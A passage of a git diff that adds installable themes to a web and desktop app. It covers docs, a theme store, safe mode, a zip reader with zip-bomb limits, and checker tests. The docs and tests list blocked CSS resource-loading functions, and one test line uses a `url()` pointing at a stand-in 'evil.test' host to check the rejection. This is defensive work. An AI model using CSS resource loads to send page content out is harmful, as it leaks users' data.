+| `name` | Required, at most 40 characters. |
+| `author`, `version`, `description` | Optional, shown when installing. |
| `options` | Up to 24; see [Options](#options). |
-| `css` | Optional extra CSS. |
+
+### theme.css
+
+```css
+@font-face {
+ font-family: "Paper Serif";
+ src: url(fonts/serif.woff2);
+}
+
+.theme-light {
+ --page-canvas: var(--paper-color);
+ --brand: #8b4513;
+ --font-content-latin: "Paper Serif", Georgia;
+ --h1-style: italic;
+ --blockquote-style: normal;
+}
+
+.theme-dark {
+ --page-canvas: var(--paper-color);
+}
+
+:root[data-theme-option-hyphens] [data-mc="content"] p {
+ hyphens: auto;
+}
+```
Set variables on `.theme-light` and `.theme-dark` (both on `<html>`). The
CSS loads after the app's own styles while the theme is active, so at equal
@@ -80,9 +119,8 @@ their default as a fallback. So it can be set on any ancestor, not only on
}
```
-Token values may only use letters, digits, spaces and `#.,%()/+-`, and font
-stacks are family names and `var()`; a test checks every built-in theme
-against both.
+Values that could load a resource are rejected anywhere in `theme.css`, see
+[What CSS may not do](#what-css-may-not-do).
## Options
@@ -90,7 +128,7 @@ Options render on the Appearance page while the theme is active. Their
types follow Obsidian's Style Settings. `toggle` and `select` mark `<html>`
with an attribute; the others set the variable `--<id>` on `<html>` for both
modes (per mode for `color`), always: the chosen value or the default. So
-the theme's CSS can read them with a plain `var(--<id>)`.
+`theme.css` can read them with a plain `var(--<id>)`.
| Type | Fields | Result |
| --- | --- | --- |
@@ -175,15 +213,28 @@ UI primitives carry a `data-slot`; these are public too: `button` (also
.theme-dark [data-mc="issue-row"][data-priority="urgent"] { box-shadow: inset 2px 0 var(--priority-urgent); }
```
-## Rules for theme CSS
+## What CSS may not do
-Keep the CSS to variables, anchors, public slots and the state above:
+**Anything that loads a resource is rejected,** because CSS can read page
+content through attribute selectors and send it out in a request. That
+means:
+
+- `url()` may only name a file in the theme folder (`url(fonts/serif.woff2)`)
+ or a fragment (`url(#filter)`). It is rewritten to the file's `data:` URL.
+- `@import`, `image()`, `image-set()`, `cross-fade()`, `element()`, `src()`
+ and `expression()` are rejected, as are `behavior` and `-moz-binding`.
+
+Escapes, case and comments do not get around the check: it reads the CSS the
+way a browser does. When a theme fails a check, nothing is installed and
+every problem is listed with its line in `theme.css`.
+
+These are also good practice, and `pnpm theme:check` (below) fails a theme
+that breaks them:
- Use only public variables and anchors. Class names and DOM structure
- change without notice; a test fails when a theme sets a variable that is
- not public.
-- Do not load anything: no `url()`, `@import` or `image-set()`. CSS can
- read page content through attribute selectors, so a request is a way out.
+ change without notice. A variable that is not in the
+ [reference](#variable-reference) is allowed only when it is an option id
+ or the theme reads it itself with `var()`.
- Set variables on `.theme-light` and `.theme-dark`, and keep everything
else behind a descendant selector, so the theme picker can read a
theme's colours back from its CSS.
@@ -192,6 +243,67 @@ Keep the CSS to variables, anchors, public slots and the state above:
CJK font follows them, and a generic family matches Han through the
browser's default for the page language, so the person's CJK choice would
never apply. The CJK stack ends with its own generic family.
+- Keep text readable in both modes (WCAG AA): `--foreground` and
+ `--muted-foreground` need 4.5:1 on every surface, `--brand` 4.5:1 on the
+ reading surfaces, the primary button label 4.5:1 on the button, and
+ `--faint-foreground` 3:1. A frame (rules on the rail, window toolbar or
+ tab bar) is checked against its own colours. The check follows `:root`,
+ `html`, the mode classes and option attributes the way the browser does,
+ with every option at its default; when a colour it measures is also set
+ somewhere else, such as inside `@media` or on `body`, it says so instead
+ of passing it.
+
+## Safe mode
+
+A theme can hide or break parts of the interface. To get back, open the app
+with `?theme=default` in the address, or hold Shift for a moment right after
+it loads (on Desktop: reload with ⌘R / Ctrl+R, then hold Shift). The theme is
+paused until the window is closed, and the Appearance page offers to turn it
+back on.
+
+## Writing a theme
+
+Start from a built-in theme: pick it in **Settings → Appearance**, then
+choose **Duplicate “…” as a new theme** from the **⋯** menu next to
+**Import theme**. The
+copy gets its own id (`pop-copy`, `pop-copy-2`, …), a manifest with the
+theme's options, and a `theme.css` with one declaration per line. Importing
+the copy unchanged looks exactly like the original.
+
+### On Desktop: the themes folder
+
+Desktop keeps a `themes` folder in its user data folder. **Open themes
+folder** in the same menu shows it. Every folder (or `.zip`) in it is
+installed when the app starts and listed under **Themes folder** in the
+picker. Save a file in it and every open window picks the change up within
+about a second, so edit `theme.css` in any editor and watch the app.
+
+Duplicating on Desktop writes the copy straight into this folder and
+opens it. A symlinked folder works too, so a theme can live in its own git
+repository. If a file stops passing its checks, the last version that did
+stays in use and the Appearance page lists the problem. To remove a theme
+from the folder, delete its folder. The folder wins over an imported theme
+with the same id whenever it is read: on a change and at every start.
+
+### On the web
+
+Duplicating downloads a `.zip`. Unzip it, edit, and import the folder
+again: the same `id` replaces the installed copy, and option values are
+kept. If a check fails, the import dialog lists every problem.
+
+### Checking a theme
+
+Before importing or sharing a theme, run the same checks from the repository:
+
+```sh
+pnpm theme:check path/to/paper # a folder
+pnpm theme:check paper.zip --json # a zip, as JSON for CI
+```
+
+It reports manifest errors, blocked CSS, non-public variables, generic
+families in font stacks and WCAG contrast in both modes, each with its line
+in `theme.css`, and exits with status 1 when there is an error. Warnings,
+such as a colour it cannot resolve, do not fail the check.
## Variable reference
diff --git a/package.json b/package.json
index b7f1da8bb0..d64bb20429 100644
--- a/package.json
+++ b/package.json
@@ -27,6 +27,7 @@
"check:ui-exports": "node scripts/check-ui-wildcard-exports.mjs",
"check:ui-radii": "node scripts/check-ui-radius-tokens.mjs",
"check:deps-catalog": "node scripts/check-dependency-catalog.mjs",
+ "theme:check": "node scripts/theme-check.mjs",
"clean": "turbo clean && rm -rf node_modules",
"ui:add": "cd packages/ui && npx shadcn@latest add",
"generate:brand": "node scripts/brand/generate.mjs",
diff --git a/packages/core/appearance/index.test.ts b/packages/core/appearance/index.test.ts
index 26ee16af27..e208e7893b 100644
--- a/packages/core/appearance/index.test.ts
+++ b/packages/core/appearance/index.test.ts
@@ -15,10 +15,12 @@ import {
isSafeThemeValue,
localizedText,
sanitizeAppearance,
+ sanitizeThemeCss,
THEME_VARIABLE_NAMES,
themeModeVariables,
themeTokensCss,
useAppearanceStore,
+ useInstalledThemesStore,
type AppearancePreferences,
type Theme,
} from ".";
@@ -81,12 +83,8 @@ describe("sanitizeAppearance", () => {
expect(sanitizeAppearance(null)).toEqual(DEFAULT_APPEARANCE);
});
- it("keeps only built-in theme ids, and their options", () => {
- expect(sanitizeAppearance({ theme: "notion" }).theme).toBe("notion");
- expect(sanitizeAppearance({ theme: "solarized" }).theme).toBe("default");
- expect(sanitizeAppearance({ themeOptions: { solarized: { a: true }, pop: { signal: "sky" } } }).themeOptions).toEqual({
- pop: { signal: "sky" },
- });
+ it("keeps the id of a theme that may be installed later", () => {
+ expect(sanitizeAppearance({ theme: "solarized" }).theme).toBe("solarized");
});
it("accepts installed CJK families and follow-the-interface values", () => {
@@ -193,21 +191,33 @@ describe("appearanceStylesheet", () => {
it("keeps stored option values of every type", () => {
const stored = sanitizeAppearance({
- themeOptions: { pop: { a: true, b: "sky", c: 1.5, d: { light: "#fff", dark: 3 }, e: Number.NaN, f: [] } },
+ themeOptions: { paper: { a: true, b: "sky", c: 1.5, d: { light: "#fff", dark: 3 }, e: Number.NaN, f: [] } },
});
- expect(stored.themeOptions).toEqual({ pop: { a: true, b: "sky", c: 1.5, d: { light: "#fff" } } });
+ expect(stored.themeOptions).toEqual({ paper: { a: true, b: "sky", c: 1.5, d: { light: "#fff" } } });
+ });
+
+ it("falls back to the default theme in safe mode or when the theme is missing", () => {
+ expect(activeTheme({ ...DEFAULT_APPEARANCE, theme: "pop" }, true).id).toBe("default");
+ expect(activeTheme({ ...DEFAULT_APPEARANCE, theme: "not-installed" }).id).toBe("default");
});
- it("applies a built-in theme and its CSS, and Default for anything else", () => {
- const active = activeTheme({ ...DEFAULT_APPEARANCE, theme: "notion" });
- expect(active.id).toBe("notion");
- expect(appearanceThemeCss(active)).toBe(active.css);
- expect(activeTheme({ ...DEFAULT_APPEARANCE, theme: "not-built-in" }).id).toBe("default");
+ it("applies an installed theme and its CSS", () => {
+ const theme: Theme = {
+ apiVersion: 1,
+ id: "paper",
+ name: "Paper",
+ css: '.theme-light { --page-canvas: oklch(0.97 0.02 85); }\n[data-mc="content"] p { hyphens: auto; }',
+ };
+ useInstalledThemesStore.setState({ themes: [theme] });
+ const active = activeTheme({ ...DEFAULT_APPEARANCE, theme: "paper" });
+ expect(active).toBe(theme);
+ expect(appearanceThemeCss(active)).toContain("hyphens: auto");
+ useInstalledThemesStore.setState({ themes: [] });
});
});
describe("built-in themes", () => {
- it("set only public variables with values a declaration cannot escape", () => {
+ it("set only public variables, and their CSS passes the same check as installed themes", () => {
expect(new Set(BUILT_IN_THEMES.map((t) => t.id)).size).toBe(BUILT_IN_THEMES.length);
for (const theme of BUILT_IN_THEMES) {
for (const tokens of [theme.tokens.light, theme.tokens.dark, theme.frame?.light, theme.frame?.dark]) {
@@ -216,6 +226,7 @@ describe("built-in themes", () => {
expect(isSafeFontValue(value) || isSafeThemeValue(value), `${name}: ${value}`).toBe(true);
}
}
+ expect(sanitizeThemeCss(theme.css, theme.assets)).toEqual({ ok: true, css: theme.css });
}
});
diff --git a/packages/core/appearance/index.ts b/packages/core/appearance/index.ts
index b29cc12504..6c5ba1e32f 100644
--- a/packages/core/appearance/index.ts
+++ b/packages/core/appearance/index.ts
@@ -2,6 +2,8 @@ import { useSyncExternalStore } from "react";
import { create } from "zustand";
import { createJSONStorage, persist } from "zustand/middleware";
import { defaultStorage } from "../platform/storage";
+import { findTheme } from "./installed-themes";
+import { THEME_ID_PATTERN, themeCss } from "./theme-package";
import { DEFAULT_THEME_ID, findBuiltInTheme } from "./built-in-themes";
import { isLocalFont, localFontFamily, type LocalFont } from "./local-fonts";
import {
@@ -14,9 +16,15 @@ import {
export * from "./themes";
export * from "./built-in-themes";
+export * from "./theme-css";
+export * from "./theme-package";
+export * from "./installed-themes";
export * from "./anchors";
export * from "./theme-variables";
export * from "./local-fonts";
+export * from "./theme-archive";
+export * from "./theme-export";
+export * from "./safe-mode";
/**
* Appearance sits on top of light/dark mode: a theme (see ./themes) with its
@@ -118,7 +126,7 @@ function sanitizeThemeOptions(value: unknown): Record<string, ThemeOptionValues>
if (!value || typeof value !== "object" || Array.isArray(value)) return {};
const out: Record<string, ThemeOptionValues> = {};
for (const [themeId, options] of Object.entries(value).slice(0, 40)) {
- if (!findBuiltInTheme(themeId) || !options || typeof options !== "object") continue;
+ if (!THEME_ID_PATTERN.test(themeId) || !options || typeof options !== "object") continue;
const clean: Record<string, ThemeOptionValue> = {};
for (const [key, v] of Object.entries(options).slice(0, 24)) {
const value = sanitizeOptionValue(v);
@@ -147,7 +155,7 @@ export function sanitizeAppearance(stored: unknown): AppearancePreferences {
return {
theme: pick(
"theme",
- (v): v is string => typeof v === "string" && findBuiltInTheme(v) !== undefined,
+ (v): v is string => typeof v === "string" && THEME_ID_PATTERN.test(v),
p.theme ?? p.style,
),
themeOptions: sanitizeThemeOptions(p.themeOptions),
@@ -238,9 +246,11 @@ export function appearanceRootVariables(
};
}
-/** The theme to render: the chosen one, or Default when it is not a built-in theme. */
-export function activeTheme(prefs: Pick<AppearancePreferences, "theme">): Theme {
- return findBuiltInTheme(prefs.theme) ?? findBuiltInTheme(DEFAULT_THEME_ID)!;
+/** The theme to render: the chosen one, or Default in safe mode or when it is not installed. */
+export function activeTheme(prefs: Pick<AppearancePreferences, "theme">, safeMode = false): Theme {
+ const fallback = findBuiltInTheme(DEFAULT_THEME_ID)!;
+ if (safeMode) return fallback;
+ return findTheme(prefs.theme) ?? fallback;
}
const BOTH_MODES = ":root:not(.dark), :root.dark";
@@ -276,9 +286,9 @@ export function appearanceStylesheet(theme: Theme, prefs: AppearancePreferences)
return parts.filter(Boolean).join("\n");
}
-/** The theme's own CSS. */
+/** The theme's own CSS, checked and with assets resolved. */
export function appearanceThemeCss(theme: Theme): string {
- return theme.css ?? "";
+ return themeCss(theme);
}
/** Attributes for <html>: `data-theme` and the theme's options; `null` removes one. */
diff --git a/packages/core/appearance/installed-themes.ts b/packages/core/appearance/installed-themes.ts
new file mode 100644
index 0000000000..3e09ac0080
--- /dev/null
+++ b/packages/core/appearance/installed-themes.ts
@@ -0,0 +1,127 @@
+import { create } from "zustand";
+import { createJSONStorage, persist } from "zustand/middleware";
+import { defaultStorage } from "../platform/storage";
+import { parseStoredTheme, type ThemePackageResult } from "./theme-package";
+import { findBuiltInTheme } from "./built-in-themes";
+import type { Theme } from "./themes";
+
+/**
+ * Themes installed from a folder or .zip, saved on this device. Stored packages are
+ * parsed again on load, so a theme that a later check would reject never
+ * gets applied.
+ *
+ * On Desktop, themes can also come from the themes folder. Those mirror the
+ * folder: `syncFolder` replaces them whenever it changes, and `folders`
+ * remembers which folder each one was read from, so a folder that stops
+ * passing the checks keeps its last good version.
+ */
+
+export const INSTALLED_THEMES_STORAGE_KEY = "multica_installed_themes";
+export const MAX_INSTALLED_THEMES = 20;
+
+/** One entry of the themes folder, read and checked. */
+export interface ThemeFolderEntry {
+ /** The folder or .zip name inside the themes folder. */
+ folder: string;
+ result: ThemePackageResult;
+}
+
+interface InstalledThemesState {
+ themes: Theme[];
+ /** Theme id to the themes-folder entry it came from. */
+ folders: Readonly<Record<string, string>>;
+ /** Adds the theme, or replaces the installed one with the same id. */
+ install: (theme: Theme) => void;
+ uninstall: (id: string) => void;
+ /** Makes the folder themes match the themes folder's current contents. */
+ syncFolder: (entries: readonly ThemeFolderEntry[]) => void;
+}
+
+const isRecord = (v: unknown): v is Record<string, unknown> =>
+ typeof v === "object" && v !== null && !Array.isArray(v);
+
+function revalidate(stored: unknown): Pick<InstalledThemesState, "themes" | "folders"> {
+ const record = isRecord(stored) ? stored : {};
+ const list = Array.isArray(record.themes) ? record.themes : [];
+ const themes: Theme[] = [];
+ for (const raw of list.slice(0, MAX_INSTALLED_THEMES)) {
+ const result = parseStoredTheme(raw);
+ if (result.ok && !themes.some((t) => t.id === result.theme.id)) themes.push(result.theme);
+ }
+ const folders: Record<string, string> = {};
+ if (isRecord(record.folders)) {
+ for (const [id, folder] of Object.entries(record.folders)) {
+ if (typeof folder === "string" && themes.some((t) => t.id === id)) folders[id] = folder;
+ }
+ }
+ return { themes, folders };
+}
+
+export const useInstalledThemesStore = create<InstalledThemesState>()(
+ persist(
+ (set) => ({
+ themes: [],
+ folders: {},
+ install: (theme) =>
+ set((state) => {
+ const others = state.themes.filter((t) => t.id !== theme.id);
+ const { [theme.id]: _replaced, ...folders } = state.folders;
+ return { themes: [...others, theme].slice(-MAX_INSTALLED_THEMES), folders };
+ }),
+ uninstall: (id) =>
+ set((state) => {
+ const { [id]: _removed, ...folders } = state.folders;
+ return { themes: state.themes.filter((t) => t.id !== id), folders };
+ }),
+ syncFolder: (entries) =>
+ set((state) => {
+ const fromFolder = new Map<string, Theme>();
+ const folders: Record<string, string> = {};
+ for (const { folder, result } of entries) {
+ if (result.ok) {
+ if (fromFolder.has(result.theme.id) || findBuiltInTheme(result.theme.id)) continue;
+ fromFolder.set(result.theme.id, result.theme);
+ folders[result.theme.id] = folder;
+ continue;
+ }
+ const lastGood = Object.entries(state.folders).find(([, f]) => f === folder)?.[0];
+ const theme = lastGood ? state.themes.find((t) => t.id === lastGood) : undefined;
+ if (theme && !fromFolder.has(theme.id)) {
+ fromFolder.set(theme.id, theme);
+ folders[theme.id] = folder;
+ }
+ }
+ const imported = state.themes.filter((t) => !(t.id in state.folders) && !fromFolder.has(t.id));
+ const themes = [...imported, ...fromFolder.values()].slice(-MAX_INSTALLED_THEMES);
+ const kept = new Set(themes.map((t) => t.id));
+ return {
+ themes,
+ folders: Object.fromEntries(Object.entries(folders).filter(([id]) => kept.has(id))),
+ };
+ }),
+ }),
+ {
+ name: INSTALLED_THEMES_STORAGE_KEY,
+ storage: createJSONStorage(() => defaultStorage),
+ partialize: (state) => ({ themes: state.themes, folders: state.folders }),
+ merge: (persisted, current) => ({ ...current, ...revalidate(persisted) }),
+ },
+ ),
+);
+
+interface ThemeFolderStatus {
+ /** Absolute path of Desktop's themes folder; null until read, and on web. */
+ path: string | null;
+ /** Entries that fail the checks, with what is wrong. */
+ problems: readonly { folder: string; errors: readonly string[] }[];
+}
+
+/** What the last read of the themes folder found, for the Appearance page. */
+export const useThemeFolderStatus = create<ThemeFolderStatus>()(() => ({ path: null, problems: [] }));
+
+/** A built-in or installed theme by id. */
+export function findTheme(id: string): Theme | undefined {
+ return (
+ findBuiltInTheme(id) ?? useInstalledThemesStore.getState().themes.find((theme) => theme.id === id)
+ );
+}
diff --git a/packages/core/appearance/safe-mode.ts b/packages/core/appearance/safe-mode.ts
new file mode 100644
index 0000000000..553bd13d70
--- /dev/null
+++ b/packages/core/appearance/safe-mode.ts
@@ -0,0 +1,48 @@
+import { create } from "zustand";
+import { DEFAULT_THEME_ID } from "./built-in-themes";
+
+/**
+ * Safe mode ignores the chosen theme for the rest of the browser session, so
+ * a theme that hides or breaks the interface can always be undone. Entered
+ * with `?theme=default` in the URL or by holding Shift while the app loads.
+ */
+
+const SAFE_MODE_KEY = "multica_theme_safe_mode";
+
+function readSafeMode(): boolean {
+ if (typeof window === "undefined") return false;
+ try {
+ if (new URLSearchParams(window.location.search).get("theme") === DEFAULT_THEME_ID) {
+ window.sessionStorage.setItem(SAFE_MODE_KEY, "1");
+ }
+ return window.sessionStorage.getItem(SAFE_MODE_KEY) === "1";
+ } catch {
+ return false;
+ }
+}
+
+interface SafeModeState {
+ active: boolean;
+ enter: () => void;
+ exit: () => void;
+}
+
+export const useThemeSafeMode = create<SafeModeState>()((set) => ({
+ active: readSafeMode(),
+ enter: () => {
+ try {
+ window.sessionStorage.setItem(SAFE_MODE_KEY, "1");
+ } catch {
+ // Session storage can be unavailable; safe mode then lasts until reload.
+ }
+ set({ active: true });
+ },
+ exit: () => {
+ try {
+ window.sessionStorage.removeItem(SAFE_MODE_KEY);
+ } catch {
+ // Nothing stored to clear.
+ }
+ set({ active: false });
+ },
+}));
diff --git a/packages/core/appearance/theme-archive.ts b/packages/core/appearance/theme-archive.ts
new file mode 100644
index 0000000000..95bcb10770
--- /dev/null
+++ b/packages/core/appearance/theme-archive.ts
@@ -0,0 +1,168 @@
+/**
+ * Reads the files out of a .zip, enough for theme packages: stored and
+ * deflated entries from the central directory, no encryption, no zip64.
+ * Inflating uses the platform's DecompressionStream. `writeZip` writes the
+ * stored form back, for exporting a theme.
+ */
+
+export interface ArchiveFile {
+ path: string;
+ data: Uint8Array;
+}
+
+const END_OF_CENTRAL_DIRECTORY = 0x06054b50;
+const CENTRAL_FILE_HEADER = 0x02014b50;
+const LOCAL_FILE_HEADER = 0x04034b50;
+
+/**
+ * Inflates `data`, or `null` when the output is not exactly `size` bytes.
+ * Reading stops as soon as the output passes `size`, so an entry that
+ * understates its size cannot inflate further than it claimed.
+ */
+async function inflate(data: Uint8Array, size: number): Promise<Uint8Array | null> {
+ const source = new ReadableStream<Uint8Array>({
+ start(controller) {
+ controller.enqueue(data);
+ controller.close();
+ },
+ });
+ const stream = source.pipeThrough(new DecompressionStream("deflate-raw") as ReadableWritablePair<Uint8Array, Uint8Array>);
+ const reader = stream.getReader();
+ const out = new Uint8Array(size);
+ let length = 0;
+ for (;;) {
+ const { done, value } = await reader.read();
+ if (done) break;
+ if (length + value.length > size) {
+ await reader.cancel().catch(() => {});
+ return null;
+ }
+ out.set(value, length);
+ length += value.length;
+ }
+ return length === size ? out : null;
+}
+
+/**
+ * Every file in the archive, or an error message. The declared sizes must add
+ * up to at most `maxBytes`, and no entry is inflated past its declared size,
+ * so a zip bomb cannot exhaust memory.
+ */
+export async function readZip(
+ bytes: Uint8Array,
+ maxBytes: number,
+): Promise<{ ok: true; files: ArchiveFile[] } | { ok: false; error: string }> {
+ const view = new DataView(bytes.buffer, bytes.byteOffset, bytes.byteLength);
+ let end = -1;
+ for (let at = bytes.length - 22; at >= Math.max(0, bytes.length - 22 - 0xffff); at -= 1) {
+ if (view.getUint32(at, true) === END_OF_CENTRAL_DIRECTORY) {
+ end = at;
+ break;
+ }
+ }
+ if (end < 0) return { ok: false, error: "Not a zip file" };
+
+ const count = view.getUint16(end + 10, true);
+ let at = view.getUint32(end + 16, true);
+ const decoder = new TextDecoder();
+ const files: ArchiveFile[] = [];
+ let total = 0;
+
+ for (let n = 0; n < count; n += 1) {
+ if (at + 46 > bytes.length || view.getUint32(at, true) !== CENTRAL_FILE_HEADER) {
+ return { ok: false, error: "The zip file is damaged" };
+ }
+ const flags = view.getUint16(at + 8, true);
+ const method = view.getUint16(at + 10, true);
+ const compressedSize = view.getUint32(at + 20, true);
+ const size = view.getUint32(at + 24, true);
+ const nameLength = view.getUint16(at + 28, true);
+ const extraLength = view.getUint16(at + 30, true);
+ const commentLength = view.getUint16(at + 32, true);
+ const local = view.getUint32(at + 42, true);
+ const path = decoder.decode(bytes.subarray(at + 46, at + 46 + nameLength));
+ at += 46 + nameLength + extraLength + commentLength;
+
+ if (path.endsWith("/")) continue;
+ if (flags & 1) return { ok: false, error: "Encrypted zip files are not supported" };
+ total += size;
+ if (total > maxBytes) return { ok: false, error: `The theme is larger than ${maxBytes / 1024} KB` };
+ if (local + 30 > bytes.length || view.getUint32(local, true) !== LOCAL_FILE_HEADER) {
+ return { ok: false, error: "The zip file is damaged" };
+ }
+ const start = local + 30 + view.getUint16(local + 26, true) + view.getUint16(local + 28, true);
+ const raw = bytes.subarray(start, start + compressedSize);
+ if (raw.length !== compressedSize) return { ok: false, error: "The zip file is damaged" };
+ if (method === 0) {
+ if (raw.length !== size) return { ok: false, error: "The zip file is damaged" };
+ files.push({ path, data: raw });
+ } else if (method === 8) {
+ const data = await inflate(raw, size).catch(() => null);
+ if (!data) return { ok: false, error: "The zip file is damaged" };
+ files.push({ path, data });
+ } else return { ok: false, error: "The zip file uses an unsupported compression method" };
+ }
+ return { ok: true, files };
+}
+
+const CRC_TABLE = (() => {
+ const table = new Uint32Array(256);
+ for (let n = 0; n < 256; n += 1) {
+ let c = n;
+ for (let k = 0; k < 8; k += 1) c = c & 1 ? 0xedb88320 ^ (c >>> 1) : c >>> 1;
+ table[n] = c >>> 0;
+ }
+ return table;
+})();
+
+function crc32(data: Uint8Array): number {
+ let crc = 0xffffffff;
+ for (const byte of data) crc = CRC_TABLE[(crc ^ byte) & 0xff]! ^ (crc >>> 8);
+ return (crc ^ 0xffffffff) >>> 0;
+}
+
+/** A .zip of `files`, uncompressed. Paths use `/`; UTF-8 names are flagged as such. */
+export function writeZip(files: readonly ArchiveFile[]): Uint8Array<ArrayBuffer> {
+ const encoder = new TextEncoder();
+ const entries = files.map((file) => ({ name: encoder.encode(file.path), data: file.data, crc: crc32(file.data) }));
+ const localSize = entries.reduce((sum, e) => sum + 30 + e.name.length + e.data.length, 0);
+ const centralSize = entries.reduce((sum, e) => sum + 46 + e.name.length, 0);
+ const out = new Uint8Array(localSize + centralSize + 22);
+ const view = new DataView(out.buffer);
+ const UTF8 = 0x0800;
+ let at = 0;
+ const offsets: number[] = [];
+ for (const e of entries) {
+ offsets.push(at);
+ view.setUint32(at, LOCAL_FILE_HEADER, true);
+ view.setUint16(at + 4, 20, true);
+ view.setUint16(at + 6, UTF8, true);
+ view.setUint32(at + 14, e.crc, true);
+ view.setUint32(at + 18, e.data.length, true);
+ view.setUint32(at + 22, e.data.length, true);
+ view.setUint16(at + 26, e.name.length, true);
+ out.set(e.name, at + 30);
+ out.set(e.data, at + 30 + e.name.length);
+ at += 30 + e.name.length + e.data.length;
+ }
+ const central = at;
+ entries.forEach((e, i) => {
+ view.setUint32(at, CENTRAL_FILE_HEADER, true);
+ view.setUint16(at + 4, 20, true);
+ view.setUint16(at + 6, 20, true);
+ view.setUint16(at + 8, UTF8, true);
+ view.setUint32(at + 16, e.crc, true);
+ view.setUint32(at + 20, e.data.length, true);
+ view.setUint32(at + 24, e.data.length, true);
+ view.setUint16(at + 28, e.name.length, true);
+ view.setUint32(at + 42, offsets[i]!, true);
+ out.set(e.name, at + 46);
+ at += 46 + e.name.length;
+ });
+ view.setUint32(at, END_OF_CENTRAL_DIRECTORY, true);
+ view.setUint16(at + 8, entries.length, true);
+ view.setUint16(at + 10, entries.length, true);
+ view.setUint32(at + 12, at - central, true);
+ view.setUint32(at + 16, central, true);
+ return out;
+}
diff --git a/packages/core/appearance/theme-check.test.ts b/packages/core/appearance/theme-check.test.ts
new file mode 100644
index 0000000000..329d9364a6
--- /dev/null
+++ b/packages/core/appearance/theme-check.test.ts
@@ -0,0 +1,228 @@
+// @vitest-environment node
+import { readFileSync } from "node:fs";
+import { describe, expect, it } from "vitest";
+import { BUILT_IN_THEMES } from "./built-in-themes";
+import { checkThemeFiles, checkThemePackage } from "./theme-check";
+import { basePaletteFromTokens, contrastRatio, parseColor, resolveColor } from "./theme-contrast";
+import { exportTheme, themeCopyTarget } from "./theme-export";
+
+const base = basePaletteFromTokens(readFileSync(new URL("../../ui/styles/tokens.css", import.meta.url), "utf8"));
+
+const manifest = { apiVersion: 1, id: "paper", name: "Paper" };
+const check = (css: string, extra: Record<string, unknown> = {}) =>
+ checkThemePackage({ manifest: { ...manifest, ...extra }, css }, base);
+const errors = (css: string, extra?: Record<string, unknown>) =>
+ check(css, extra)
+ .issues.filter((issue) => issue.level === "error")
+ .map((issue) => issue.message);
+
+describe("theme check", () => {
+ it.each(BUILT_IN_THEMES.map((theme) => [theme.name, theme] as const))(
+ "passes %s, duplicated as a theme folder",
+ (_name, theme) => {
+ const report = checkThemeFiles(exportTheme(theme, themeCopyTarget(theme, [])), base);
+ expect(report.issues).toEqual([]);
+ expect(report.contrast.length).toBeGreaterThan(0);
+ },
+ );
+
+ it("passes a minimal theme", () => {
+ expect(check(".theme-light { --radius: 0.25rem; --page-canvas: #fffdf8; }")).toMatchObject({ ok: true, issues: [] });
+ });
+
+ it("holds colours the theme inherits to the surfaces it changes", () => {
+ const found = errors(".theme-light { --page-canvas: #f6efdf; }");
+ expect(found).toEqual([
+ expect.stringMatching(
+ /^Contrast, light mode: --brand is below 4\.5:1 on --background \(4\.\d\d:1\) and --page-canvas \(4\.\d\d:1\)\.$/,
+ ),
+ ]);
+ });
+
+ it("reports manifest errors and blocked CSS together", () => {
+ const found = errors("body { background: url(https://evil.test/x.png); }\n@import 'x.css';", { apiVersion: 9, id: "Bad" });
+ expect(found.join("\n")).toMatch(/apiVersion must be 1/);
+ expect(found.join("\n")).toMatch(/^id must/m);
+ expect(found.join("\n")).toMatch(/theme\.css line 1: url\("https:\/\/evil\.test\/x\.png"\)/);
+ expect(found.join("\n")).toMatch(/theme\.css line 2: @import is not allowed/);
+ });
+
+ it("reports variables that are not public, but not the theme's own or its options'", () => {
+ const found = errors(
+ [
+ ".theme-light { --sidebar-width: 20rem; --paper-tint: #eee; --ring: var(--paper-tint); }",
+ ":root { --paper-color: #fff; }",
+ ].join("\n"),
+ { options: [{ id: "paper-color", type: "color", label: "Paper", default: "#ffffff" }] },
+ );
+ expect(found).toHaveLength(1);
+ expect(found[0]).toMatch(/line 1: --sidebar-width is not a public variable/);
+ });
+
+ it("reports generic families in Latin font stacks", () => {
+ const found = errors(
+ '.theme-light { --font-ui: Inter, sans-serif; --font-content-latin: "Iowan Old Style", Georgia; }',
+ {
+ options: [
+ { id: "font-content-latin", type: "variable-select", label: "Text", choices: [
+ { value: "Georgia", label: "Georgia" },
+ { value: "Georgia, serif", label: "Georgia (serif)" },
+ ] },
+ ],
+ },
+ );
+ expect(found).toHaveLength(2);
+ expect(found[0]).toMatch(/--font-ui names sans-serif/);
+ expect(found[1]).toMatch(/"Georgia, serif"/);
+ const warnings = check('@font-face {\n font-family: "Paper";\n}\nh1 { font-family: Georgia; }').issues;
+ expect(warnings).toEqual([
+ expect.objectContaining({ level: "warning", message: expect.stringMatching(/^theme\.css line 4: font-family/) }),
+ ]);
+ });
+
+ it("reports text without enough contrast, one line per mode and colour", () => {
+ const found = errors(".theme-dark { --muted-foreground: #444; --brand: oklch(0.3 0.1 262); }");
+ expect(found).toHaveLength(2);
+ expect(found[0]).toMatch(/^Contrast, dark mode: --muted-foreground is below 4\.5:1 on .*--surface \(\d\.\d\d:1\)/);
+ expect(found[1]).toMatch(/^Contrast, dark mode: --brand is below 4\.5:1 on .*--page-canvas/);
+ const afterStatement = errors('@charset "utf-8";\n.theme-light { --muted-foreground: #a0a0a0; }');
+ expect(afterStatement).toEqual([expect.stringMatching(/^Contrast, light mode: --muted-foreground is below .*--page-canvas/)]);
+ });
+
+ it("reads :root and mode rules in the order the browser applies them", () => {
+ const white = "--foreground: #ffffff; --page-canvas: #ffffff;";
+ expect(errors(`:root { ${white} }`).some((m) => /light mode: --foreground is below .*--page-canvas \(1\.00:1\)/.test(m))).toBe(true);
+ expect(errors(`:root.dark { ${white} }`).some((m) => /^Contrast, dark mode: --foreground/.test(m))).toBe(true);
+ // An element selector is less specific than the base tokens on :root.
+ expect(check(`html { ${white} }`).ok).toBe(true);
+ // At equal specificity the later rule wins (and :root reaches dark mode too).
+ const later = errors(`.theme-light { ${white} }\n:root { --foreground: #111111; }`);
+ expect(later.length).toBeGreaterThan(0);
+ expect(later.every((m) => m.startsWith("Contrast, dark mode"))).toBe(true);
+ });
+
+ it("applies option values over the theme's CSS, as the app does", () => {
+ const found = errors(".theme-light { --foreground: #000000; --page-canvas: #ffffff; }", {
+ options: [{ id: "foreground", type: "color", label: "Text", default: "#ffffff" }],
+ });
+ expect(found.some((m) => /light mode: --foreground is below .*--page-canvas \(1\.00:1\)/.test(m))).toBe(true);
+ });
+
+ it("measures option rules at the options' defaults", () => {
+ const options = [
+ { id: "ink", type: "select", label: "Ink", default: "dark", choices: [{ value: "dark", label: "Dark" }, { value: "pale", label: "Pale" }] },
